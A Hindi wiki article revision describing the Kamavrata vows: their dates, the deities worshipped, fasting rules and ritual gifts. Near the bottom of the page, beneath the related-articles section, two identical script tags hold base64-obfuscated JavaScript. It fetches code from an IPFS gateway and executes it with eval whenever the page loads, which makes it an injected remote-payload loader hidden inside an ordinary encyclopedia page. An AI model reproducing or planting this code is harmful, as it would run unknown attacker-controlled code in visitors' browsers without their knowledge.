कामव्रत

भारत डिस्कवरी प्रस्तुति
Revision as of 05:01, 4 March 2011 by लक्ष्मी गोस्वामी (talk | contribs) ('*कामव्रत करने का विधान केवल महिलाओं के लिए है। यह कार...' के साथ नया पन्ना बनाया)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search
  • कामव्रत करने का विधान केवल महिलाओं के लिए है। यह कार्तिक मास में प्रारम्भ होकर एक वर्ष तक चलता है। इसमें सूर्य का पूजन होता है। हेमाद्रि के अनुसार यह स्त्रीपुत्रकामावाप्ति उत्सव है।
  • कामव्रत पौष शुक्ल त्रयोदशी को प्रारम्भ होकर तदनंतर एक वर्ष तक इसका अनुष्ठान होता है। प्रत्येक त्रयोदशी को नक्त (रात्रिभोजन) करना चाहिए। चैत्र में सुवर्ण का अशोक वृक्ष तथा 10 अंगुल लम्बा इक्षुदण्ड इस मंत्र के साथ दान करना चाहिए:'प्रद्युम्न: प्रसीदतु।'
  • कामव्रत किसी भी महीने की सप्तमी को किया जा सकता है। सुवर्चला (सूर्य की पत्नी) की इसमें पूजा होती है। मनोवांछित पदार्थों की इससे उपलब्धि होती है।
  • कामव्रत पौष शुक्ल पच्चमी को प्रारम्भ होता है। इसमें कार्तिकेय के रूप में भगवान विष्णु की पूजा होती है।
  • कामव्रत करने वाली महिलाओं को पच्चमी को नक्त करना चाहिए, षष्ठी के दिन केवल एक समय का आहार, सप्तमी को पारण ऐसा एक वर्ष पर्यंत करना चाहिए।
  • स्वामी कार्तिकेय की सुवर्ण प्रतिमा तथा दो वस्त्र दान में देने चाहिए। इससे मनुष्य जीवन में समस्त कामनाओं को प्राप्त करता है। हेमाद्रि के अनुसार यह 'कामषष्ठी' व्रत है।



पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः